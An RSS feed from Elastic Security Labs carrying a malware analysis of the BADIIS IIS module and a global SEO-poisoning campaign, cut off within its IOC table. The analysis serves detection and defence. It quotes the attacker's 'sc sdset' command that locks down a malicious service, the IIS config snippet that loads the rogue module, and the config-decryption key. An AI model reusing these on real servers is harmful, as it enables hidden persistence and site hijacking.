<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Elastic Security Labs - Articles by Cyril François</title>
        <link>https://www.elastic.co/pt/security-labs</link>
        <description>Trusted security news &amp; research from the team at Elastic.</description>
        <lastBuildDate>Thu, 05 Mar 2026 22:21:01 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>Elastic Security Labs - Articles by Cyril François</title>
            <url>https://www.elastic.co/pt/security-labs/assets/security-labs-thumbnail.png</url>
            <link>https://www.elastic.co/pt/security-labs</link>
        </image>
        <copyright>© 2026. Elasticsearch B.V. All Rights Reserved</copyright>
        <item>
            <title><![CDATA[BADIIS to the Bone: New Insights to a Global SEO Poisoning Campaign]]></title>
            <link>https://www.elastic.co/pt/security-labs/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign</link>
            <guid>badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign</guid>
            <pubDate>Wed, 11 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[In November 2025, Elastic Security Labs observed an intrusion affecting a multinational organization based in Southeast Asia. During the analysis of this activity, our team observed various post-compromise techniques and tooling used to deploy BADIIS malware onto a Windows web server consistent with other industry publications.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>In November 2025, Elastic Security Labs observed an intrusion affecting a multinational organization based in Southeast Asia. During the analysis of this activity, our team observed various post-compromise techniques and tooling used to deploy BADIIS malware onto a Windows web server.  These observations align with previous reporting from <a href="https://blog.talosintelligence.com/uat-8099-chinese-speaking-cybercrime-group-seo-fraud/">Cisco Talos</a> and <a href="https://www.trendmicro.com/en_us/research/25/b/chinese-speaking-group-manipulates-seo-with-badiis.html">Trend Micro</a> from last year.</p>
<p>This threat group has amassed more victims and is coordinating a large-scale SEO poisoning operation from countries across the globe. Our visibility into the campaign indicates a complex, geotargeted infrastructure designed to monetize compromised servers by redirecting users to a broad network of illicit websites such as online gambling platforms and cryptocurrency schemes.</p>
<h3>Key takeaways</h3>
<ul>
<li>Elastic Security Labs observes large-scale SEO poisoning campaigns targeting IIS servers with BADIIS malware globally, impacting over 1,800 Windows servers</li>
<li>Compromised servers are monetized through a web of infrastructure used to target users with gambling advertisements and other illicit websites</li>
<li>Victim infrastructure includes governments, various corporate organizations, and educational institutions from Australia, Bangladesh, Brazil, China, India, Japan, Korea, Lithuania, Nepal, and Vietnam</li>
<li>This activity corresponds with the threat group, UAT-8099, identified by Cisco Talos last October, and is consistent with prior reporting from Trend Micro</li>
</ul>
<h2>Campaign Overview</h2>
<p>REF4033 is a Chinese-speaking cybercrime group responsible for a massive, coordinated SEO poisoning campaign that has compromised more than 1,800 Windows web servers worldwide using a malicious IIS module called BADIIS.</p>
<p>The campaign operates through a two-phase process:</p>
<ul>
<li>First, it serves keyword-stuffed HTML to search engine crawlers to poison search results, and</li>
<li>Next, it redirects victims to a sprawling &quot;vice economy&quot; of illicit gambling platforms, pornography, and sophisticated cryptocurrency phishing sites, such as a fraudulent clone of the Upbit exchange.</li>
</ul>
<p>By deploying the BADIIS malware, a malicious IIS module that integrates directly into a web server's request processing pipeline, the group hijacks the web servers for legitimate government, educational, and corporate domains. This high-reputation infrastructure is used to manipulate search engine rankings, thereby allowing attackers to intercept web traffic and facilitate widespread financial fraud.</p>
<h2>Intrusion activity</h2>
<p>In November 2025, Elastic Security Labs observed post-compromise activity from a Windows IIS server from an unknown attack vector. This threat actor moved quickly, progressing from initial access to IIS module deployment in less than 17 minutes. The initial enumeration was performed via a webshell running under the IIS worker process (<code>w3wp.exe</code>). The attacker conducted initial discovery and then created a new user account.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image9.png" alt="REF4033 execution flow" /></p>
<p>Shortly after the account was created and added to the Administrators group, <a href="https://www.elastic.co/pt/security">Elastic Defend</a> generated several alerts related to a newly created Windows service, <code>WalletServiceInfo</code>. The service loaded an unsigned ServiceDLL  (<code>C:\ProgramData\Microsoft\Windows\Ringtones\CbsMsgApi.dll</code>)  and subsequently executed direct syscalls from the module.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image18.png" alt="Suspicious Windows Service DLL Creation Alert" /></p>
<p>Next, we saw the threat actor harden their access by using a program called <a href="https://www.d99net.net/">D-Shield Firewall</a>. This software provides additional security features for IIS servers, including preventive protections and capabilities to add network restrictions. To proceed with the investigation, we used the observed imphash (<code>1e4b23eee1b96b0cc705da1e7fb9e2f3</code>) of the loader (<code>C:\ProgramData\Microsoft\Windows\Ringtones\CbsMsgApi.exe</code>) to obtain a loader <a href="https://www.virustotal.com/gui/file/055bdcaa0b69a1e205c931547ef863531e9fdfdaac93aaea29fb701c7b468294">sample</a> from VirusTotal for our analysis.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image14.png" alt="CbsMsgApi - imphash" /></p>
<p>To collect a sample of the malicious DLL used by this loader, we performed a VirusTotal <a href="https://www.virustotal.com/gui/search/name%253ACbsMsgApi%252Edll?type=files">search</a> on the name (<code>CbsMsgApi.dll</code>). We found 7 samples submitted using the same filename. The group behind this appears to have been using a similar codebase since September 2024. Most of these samples employ <a href="https://vmpsoft.com/">VMProtect</a>, a commercial code-obfuscation framework, to hinder static and dynamic analysis. Fortunately, we used an older, non-protected <a href="https://www.virustotal.com/gui/file/2340f152e8cb4cc7d5d15f384517d756a098283aef239f8cbfe3d91f8722800a">sample</a> to gain additional insight into this attack chain.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image12.png" alt="CbsMsgApi.dll sample listing in VirusTotal" /></p>
<h2>Code analysis - CbsMsgApi.exe</h2>
<p>The group employs an attack workflow that requires several files staged by the attacker to deploy the malicious IIS module. The execution chain begins with the PE executable, <code>CbsMsgApi.exe</code>. This file contains Chinese Simplified strings, including the PDB string (<code>C:\Users\Administrator\Desktop\替换配置文件\w3wpservice-svchost\x64\Release\CbsMsgApi.pdb</code>).</p>
<p>After launch, this program creates a Windows service, <code>WalletServiceinfo,</code> which configures a ServiceDLL (<code>CbsMsgApi.dll</code>) that runs under <code>svchost.exe</code>, similar to this <a href="https://www.ired.team/offensive-security/persistence/persisting-in-svchost.exe-with-a-service-dll-servicemain">persistence technique</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image26.png" alt="Console output from Cbs.exe" /></p>
<p>This newly created service focuses on stealth and anti-tampering by modifying the security descriptor of the service with the following command-line:</p>
<pre><code>sc sdset &quot;WalletServiceInfo&quot; &quot;D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)&quot;
</code></pre>
<h2>Code analysis - CbsMsgApi.dll</h2>
<p>The main component of this attack sequence is the ServiceDLL (<code>CbsMsgApi.dll</code>). The malicious DLL stages the BADIIS IIS native modules and alters the IIS configuration to load them into the request pipeline of the DefaultAppPool.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image4.png" alt="ServiceMain functionality within CbsMsgApi.dll" /></p>
<p>During this attack, the threat actor stages three files masquerading within the <code>System32\drivers</code> folder:</p>
<ul>
<li><code>C:\Windows\System32\drivers\WUDFPfprot.sys</code></li>
<li><code>C:\Windows\System32\drivers\WppRecorderpo.sys</code></li>
<li><code>C:\Windows\System32\drivers\WppRecorderrt.sys</code></li>
</ul>
<p>Two of these files (<code>WppRecorderrt.sys</code>, <code>WppRecorderpo.sys</code>) represent the malicious 32-bit / 64-bit BADIIS modules. The other file (<code>WUDFPfprot.sys</code>) represents configuration elements that will be injected into the IIS’s existing configuration. Below is an example configuration used during our analysis. Of note is the module name <code>WsmRes64</code> (more information on this DLL is detailed in the IIS Modules Analysis (<code>WsmRes32.dll</code> / <code>WsmRes64.dll</code>) section below):</p>
<pre><code>&lt;globalModules&gt;
    	&lt;add name=&quot;WsmRes64&quot; image=&quot;C:\Windows\Microsoft.NET\Framework\WsmRes64.dll&quot; preCondition=&quot;bitness64&quot; /&gt;
&lt;/globalModules&gt;
&lt;modules&gt;
    &lt;add name=&quot;WsmRes64&quot; preCondition=&quot;bitness64&quot; /&gt;
&lt;/modules&gt;
</code></pre>
<p>The malware uses the <code>CopyFileA</code> function to move the contents from the masqueraded files into the .NET directory (<code>C:\Windows\Microsoft.NET\Framework</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image7.png" alt="Copying the IIS module into the .NET Framework directory" /></p>
<p>Next, the malware parses the <code>DefaultAppPool.config</code> file, examining each node to update the <code>&lt;globalModules&gt;</code> and <code>&lt;modules&gt;</code> nodes. The module will inject configuration content from the previously masqueraded file (<code>WUDFPfprot.sys</code>), updating the IIS configuration via a series of append operations.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image8.png" alt="Procmon output showing DefaultAppPool modification" /></p>
<p>Below is an example of the newly added global module entry that references the BADIIS DLL.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image6.png" alt="Newly added global module" /></p>
<p>Upon successful execution, the BADIIS module is installed on the IIS server and becomes visible as a loaded module in the <code>w3wp.exe</code> worker process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image20.png" alt="WsmRes64.dll loaded under w3wp.exe" /></p>
<h2>IIS Modules Analysis (WsmRes32.dll / WsmRes64.dll)</h2>
<p>The following section will describe the functionality of BADIIS modules. These modules facilitate the conditional injection or redirection of malicious SEO content based on criteria such as the User-Agent or Referer header value. This technique ensures that malicious content remains hidden during normal use, thereby allowing the modules to remain undetected for as long as possible.</p>
<p>Upon initialization, the module downloads content from URLs defined in its configuration. These URLs are stored in an encrypted format and decrypted using the <code>SM4 algorithm</code> (a Chinese national standard block cipher) in ECB mode with the key “<code>1111111122222222”</code>. In older samples, the AES-128 ECB algorithm was used instead.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image3.png" alt="Configuration decryption function" /></p>
<p>Each URL in the configuration points to a static <code>.txt</code> file that contains a second-stage resource. The list below details these source files and their specific roles:</p>
<table>
<thead>
<tr>
<th align="left">Example configuration URL</th>
<th align="left">File Name</th>
<th align="left">Content Description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>hxxp://kr.gotz003[.]com/krfml/krfmlip.txt</code></td>
<td align="left"><code>*fmlip.txt</code></td>
<td align="left">Contains a URL pointing to a fake CSS file, <code>google.css</code>, that lists subnets used for filtering requests.</td>
</tr>
<tr>
<td align="left"><code>hxxp://kr.gotz003[.]com/krfml/krfmltz.txt</code></td>
<td align="left"><code>*fmltz.txt</code></td>
<td align="left">Contains a link to the target URL used for user redirections.</td>
</tr>
<tr>
<td align="left"><code>hxxp://kr.gotz003[.]com/krfml/krfmllj.txt</code></td>
<td align="left"><code>*fmllj.txt</code></td>
<td align="left">Contains a link to the malicious SEO backlinks intended for injection.</td>
</tr>
<tr>
<td align="left"><code>hxxp://kr.gotz003[.]com/krfml/krfmldz.txt</code></td>
<td align="left"><code>*fmldz.txt</code></td>
<td align="left">Contains the link to the SEO content generator.</td>
</tr>
</tbody>
</table>
<p>These URLs point to region-specific files, prefixed with the corresponding country code. While the examples above focus on Korea (<code>hxxp://kr.domain.com</code>), equivalent files exist for other regions, such as Vietnam (VN), where filenames are prefixed with <code>&quot;vn&quot;</code> rather than &quot;<code>kr&quot;</code>(<code>hxxp://vn.domain.com</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image3.png" alt="Decrypted configuration URL using the SM4 algorithm" /></p>
<p>The BADIIS module registers within the request processing pipeline, positioning itself as both the first and the last handler. For each request, the module verifies specific properties and selects an injection or redirection strategy based on the results. We have three types of injection:</p>
<table>
<thead>
<tr>
<th align="left">Source</th>
<th align="left">Injection Method</th>
<th align="left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>*fmltz.txt</code></td>
<td align="left">Full page replacement</td>
<td align="left">HTML loader with progress bar + auto-redirect + Google Analytics tracking</td>
</tr>
<tr>
<td align="left"><code>*fmldz.txt</code></td>
<td align="left">Full page replacement</td>
<td align="left">Direct link to SEO content, built with <code>index.php?domain=&lt;host&gt;&amp;uri=&lt;original_link&gt;</code></td>
</tr>
<tr>
<td align="left"><code>*fmllj.txt</code></td>
<td align="left">Inline injection</td>
<td align="left">SEO backlinks injected after <code>&lt;body&gt;</code> or <code>&lt;html&gt;</code> tag in existing response</td>
</tr>
</tbody>
</table>
<p>To distinguish between bot and human traffic, the module checks against the following list of Referers and User-Agents.</p>
<p><strong>Referers</strong>: <code>bing</code>, <code>google</code>, <code>naver</code>, <code>daum</code><br />
<strong>User agents</strong>: <code>bingbot</code>, <code>Googlebot</code>, <code>Yeti</code>, <code>Daum</code></p>
<p>The default injection strategy targets search engine crawlers accessing a legitimate page on the compromised site.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image19.png" alt="Download and injection of SEO backlinks" /></p>
<p>In this scenario, the SEO backlinks are retrieved from the secondary link and injected into the page to be crawled by search engine bots. The downloaded backlinks that are injected into the infected page primarily target other local pages within the domain, whereas the remainder point to pages on other infected domains. This is a key aspect of the link-farming strategy, which involves creating large networks of sites that link to one another and manipulate search rankings.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image22.png" alt="Inlined SEO backlinks on the infected page" /></p>
<p>The local pages linked by the backlinks do not exist on the infected domain, so visiting them results in a 404 error. However, when the request is intercepted, the malware checks two conditions: whether the status code is not 200 or 3xx, and whether the browser's User-Agent matches a crawler bot. If so, it downloads content from an SEO page hosted on its infrastructure (via a link in the <code>*fmldz.txt</code> file from its configuration URL) and returns a 200 response code to the bot. This target URL is built using 'domain' and 'uri' parameters that contain the infected domain name and the resource the crawler originally attempted to access.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image1.png" alt="404 page replacement strategy with User-Agent" /></p>
<p>Finally, if a user requests a page that does not exist and arrives with a Referer header value listed by the malware, the page is replaced by a third type of content: a landing page with a loading bar. This page uses JavaScript to redirect the user to the link contained in the <code>*fmltz.txt</code> file, which is obtained via its configuration link.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image23.png" alt="404 landing/redirection page with Referer" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image5.png" alt="404 redirection target with Referer" /></p>
<p>Optionally, if enabled, the request is executed only when the User-Agent matches a mobile phone, ensuring the server targets mobile users exclusively.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image17.png" alt="Requests are optionally filtered on server IP and mobile’s User-Agents" /></p>
<p>The list of mobile User-Agents is listed below:</p>
<p><strong>Devices:</strong> <code>iPhone</code>, <code>iPad</code>, <code>iPod</code>, <code>iOS</code>, <code>Android</code>, <code>uc (UC Browser)</code>, <code>BlackBerry</code>, <code>HUAWEI</code></p>
<p>If the option is enabled and the infected server's IP address matches the subnet list in the <code>google.css</code> file downloaded from the <code>*fmlip.txt</code> file, the server serves the standard SEO content instead of the landing/redirection page.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image21.png" alt="Subnet filter list" /></p>
<p>The landing page includes JavaScript code containing an analytics tag—either Google Analytics or Baidu Tongji, depending on the target region—to monitor redirections. While the exact reason for using server IP filtering to restrict traffic remains unclear, we speculate that it is linked to these analytics and implemented for SEO purposes.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image24.png" alt="Google Analytics in landing pages" /></p>
<p>We identified the following Google tags across the campaign:</p>
<ul>
<li><code>G-2FK43E86ZM</code></li>
<li><code>G-R0KHSLRZ7N</code></li>
</ul>
<p>As well as a Baidu Tongji tag:</p>
<ul>
<li><code>B59ff1638e92ab1127b7bc76c7922245</code></li>
</ul>
<h2>Campaign Analysis</h2>
<p>Based on similarity in URL patterns (<code>&lt;country_code&gt;fml__.txt</code>, <code>&lt;country_code&gt;fml/index.php</code>), we discovered an older campaign dating back to mid-2023 that was using the following domains as the configuration server.</p>
<ul>
<li><code>tz123[.]app</code></li>
<li><code>tz789[.]app</code></li>
</ul>
<p><code>tz123[.]app</code> was disclosed in a Trend Micro BADIIS <a href="https://www.trendmicro.com/en_us/research/25/b/chinese-speaking-group-manipulates-seo-with-badiis.html">campaign summary</a> <a href="https://documents.trendmicro.com/assets/txt/badiis-IOCspbJhGdi.txt">IOC list</a>, published in 2024 . Based on the first submission dates on VT for samples named <code>ul_cache.dll</code> and communicating with <code>hxxp://tz789[.]app/brfmljs[.]txt</code>, some are also submitted under the filename <code>WsmRes64.dll</code>. This naming convention is consistent with the BADIIS loader component analyzed in the prior section. The earliest <a href="https://www.virustotal.com/gui/file/ec5a69bc62e66a2677ab91da16c247b780d109baa24c46b4b99233768455f558">sample</a> we discovered on VT was first submitted on 2023-12-12.</p>
<p>For REF4033, the infrastructure is split between two primary configuration servers.</p>
<ul>
<li>Recent campaigns (<code>gotz003[.]com</code>): Currently serves as the primary configuration hub. Further analysis has identified 5 active subdomains categorized by country codes:
<ul>
<li><code>kr.gotz003[.]com</code> (South Korea)</li>
<li><code>vn.gotz003[.]com</code> (Vietnam)</li>
<li><code>cn.gotz003[.]com</code> (China)</li>
<li><code>cnse.gotz003[.]com</code> (China)</li>
<li><code>bd.gotz003[.]com</code> (Bangladesh)</li>
</ul>
</li>
<li>Legacy infrastructure (<code>jbtz003[.]com</code>): Used in older campaign iterations, though several subdomains remain operational:</li>
<li><code>br.jbtz003[.]com</code> (Brazil)</li>
<li><code>vn.jbtz003[.]com</code> (Vietnam)</li>
<li><code>vnbtc.jbtz003[.]com</code> (Vietnam)</li>
<li><code>in.jbtz003[.]com</code> (India)</li>
<li><code>cn.jbtz003[.]com</code> (China)</li>
<li><code>jp.jbtz003[.]com</code> (Japan)</li>
<li><code>pk.jbtz003[.]com</code> (Pakistan)</li>
</ul>
<p>At its core, the recent campaign monetizes compromised servers by redirecting users to a vast network of illicit websites. The campaign is heavily invested in the vice economy, targeting Asian audiences, such as unregulated online casinos, pornography streaming, and explicit advertisements for prostitution services.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image10.png" alt="Redirected sites for users" /></p>
<p>It also poses a direct financial threat. One example was a fraudulent cryptocurrency staking platform hosted at <code>uupbit[.]top</code>, impersonating Upbit, South Korea’s largest cryptocurrency exchange.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image11.png" alt="www.uupbit[.]top - from urlscan.io" /></p>
<p>The campaign’s targeting logic largely mirrors the compromised infrastructure's geography, establishing a correlation between the server’s location and the user’s redirection target. For instance, compromised servers in China funnel traffic to local gambling sites, while those in South Korea redirect to the fraudulent Upbit phishing site. The exception to this pattern involved compromised infrastructure in Bangladesh, which the actors configured HTTP redirects to point to non-local, Vietnamese gambling sites.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image16.png" alt="User redirection link - infected servers located in Bangladesh" /></p>
<p>We have observed several different redirection loading pages throughout the clusters. Below is an example of the user redirection template for a <a href="https://www.virustotal.com/gui/file/1f9e694cac70d089f549d7adf91513f0f7e1d4ef212979aad67a5aea10c6d016">sample</a> targeting VN victim infrastructure. This template uses a Google tag and is very similar to one of the templates described in Cisco Talos’ <a href="https://blog.talosintelligence.com/uat-8099-chinese-speaking-cybercrime-group-seo-fraud/">UAT-8099 research</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image13.png" alt="Redirection template 1" /></p>
<p>A more consistent template observed across the victim clusters is shown in the snippet below, particularly the progress bar logic. Since the <a href="https://www.virustotal.com/gui/file/c5abe6936fe111bbded1757a90c934a9e18d849edd70e56a451c1547688ff96f/detection">sample</a> targets CN victim infrastructure, Baidu Tongji is used for tracking victim redirection.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image15.png" alt="Redirection template 2" /></p>
<p>We discovered several clusters (some with overlaps) of compromised servers from URLs containing backlinks in the following list:</p>
<ul>
<li><code>http://kr.gotz001[.]com/lunlian/index.php</code></li>
<li><code>http://se.gotz001[.]com/lunlian/index.php</code></li>
<li><code>https://cn404.gotz001[.]com/lunlian/index.php</code></li>
<li><code>https://cnse.gotz001[.]com/lunlian/index.php</code></li>
<li><code>https://cn.gotz001[.]com/lunlian/index.php</code></li>
<li><code>https://cn.gotz001[.]com/lunlian/indexgov.php</code></li>
<li><code>https://vn404.gotz001[.]com/lunlian/index.php</code></li>
<li><code>https://vn.gotz001[.]com/lunlian/index.php</code></li>
<li><code>http://bd.gotz001[.]com/lunlian/index.php</code></li>
<li><code>http://vn.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://vnse.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://vnbtc.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://in.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://br.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://cn.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://jp.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://pk.jbtz001[.]com/lunlian/index.php</code></li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image25.png" alt="Link farm content at https://vn404[.]gotz001[.]com/lunlian/index.php" /></p>
<p>Within the scope of REF4033, <strong>more than 1800 servers were impacted globally</strong>, and the campaign demonstrates a clear geographic focus on the APAC region, with China and Vietnam accounting for approximately 82% of all observed compromised servers (46.1% and 35.8%, respectively). Secondary concentrations are observed in India (3.9%), Brazil (3.8%), and South Korea (3.4%), although these represent a minority of the overall campaign footprint. Notably, approximately 30% of compromised servers reside on major cloud platforms, including Amazon Web Services, Microsoft Azure, Alibaba Cloud, and Tencent Cloud. The remaining 70% of victims are distributed across regional telecommunications providers.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image28.png" alt="Victim infrastructure grouped by country &amp; ASN" /></p>
<p>The victim profile spans diverse sectors, including government agencies, educational institutions, healthcare providers, e-commerce platforms, media outlets, and financial services, indicating large-scale opportunistic exploitation rather than targeted exploitation. Government and public administration systems represent approximately 8% of identified victims across at least 5 countries (<code>.gov.cn</code>, <code>.gov.br</code>, <code>.gov.bd</code>, <code>.gov.vn</code>, <code>.gov.in</code>, <code>.leg.br</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image29.png" alt="Victim mapped via Geo IP" /></p>
<h2>REF4033 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1190">Exploit Public-Facing Application</a></li>
<li><a href="https://attack.mitre.org/techniques/T1505/004/">Server Software Component: IIS Components</a></li>
<li><a href="https://attack.mitre.org/techniques/T1136/001/">Create Account: Local Account</a></li>
<li><a href="https://attack.mitre.org/techniques/T1543/003/">Create or Modify System Process: Windows Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/011/">Hijack Execution Flow: Services Registry Permissions Weakness</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/002/">Obfuscated Files or Information: Software Packing</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
</ul>
<h2>Remediating REF4033</h2>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/initial_access_suspicious_microsoft_iis_worker_descendant.toml">Suspicious Microsoft IIS Worker Descendant</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_potential_privilege_escalation_via_token_impersonation.toml">Potential Privilege Escalation via Token Impersonation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_privilege_escalation_via_seimpersonateprivilege.toml">Privilege Escalation via SeImpersonatePrivilege</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_direct_syscall_from_unsigned_module.toml">Direct Syscall from Unsigned Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/persistence_suspicious_windows_service_dll_creation.toml">Suspicious Windows Service DLL Creation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/persistence_suspicious_svchost_registry_modification.toml">Suspicious Svchost Registry Modification</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/credential_access_security_account_manager_(sam)_registry_access.toml">Security Account Manager (SAM) Registry Access</a></li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_BadIIS.yar">Windows.Trojan.BadIIS</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/dc64ed57860f4a150c7d1fe33d645d69f384506e/yara/rules/Windows_Trojan_Generic.yar#L364">Windows.Trojan.Generic</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>055bdcaa0b69a1e205c931547ef863531e9fdfdaac93aaea29fb701c7b468294</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>CbsMsgApi.exe</code></td>
<td align="left">Service Installer</td>
</tr>
<tr>
<td align="left"><code>2340f152e8cb4cc7d5d15f384517d756a098283aef239f8cbfe3d91f8722800a</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>CbsMsgApi.dll</code></td>
<td align="left">ServiceDLL</td>
</tr>
<tr>
<td align="left"><code>c2ff48cfa38598ad514466673b506e377839d25d5dfb1c3d88908c231112d1b2</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>CbsMsgApi.dll</code></td>
<td align="left">ServiceDLL</td>
</tr>
<tr>
<td align="left"><code>7f2987e49211ff265378349ea648498042cd0817e131da41156d4eafee4310ca</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>D_Safe_Manage.exe</code></td>
<td align="left">D-Shield Firewall</td>
</tr>
<tr>
<td align="left"><code>1b723a5f9725b607926e925d1797f7ec9664bb308c9602002345485e18085b72</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>WsmRes64.idx</code></td>
<td align="left">64-bit BADIIS module</td>
</tr>
<tr>
<td align="left"><code>1f9e694cac70d089f549d7adf91513f0f7e1d4ef212979aad67a5aea10c6d016</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>WsmRes64.idx2.sc</code></td>
<td align="left">64-bit BADIIS module</td>
</tr>
<tr>
<td align="left"><code>c5abe6936fe111bbded1757a90c934a9e18d849edd70e56a451c1547688ff96f</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>WsmRes32.idx</code></td>
<td align="left">32-bit BADIIS module</td>
</tr>
<tr>
<td align="left"><code>gotz003[.]com</code></td>
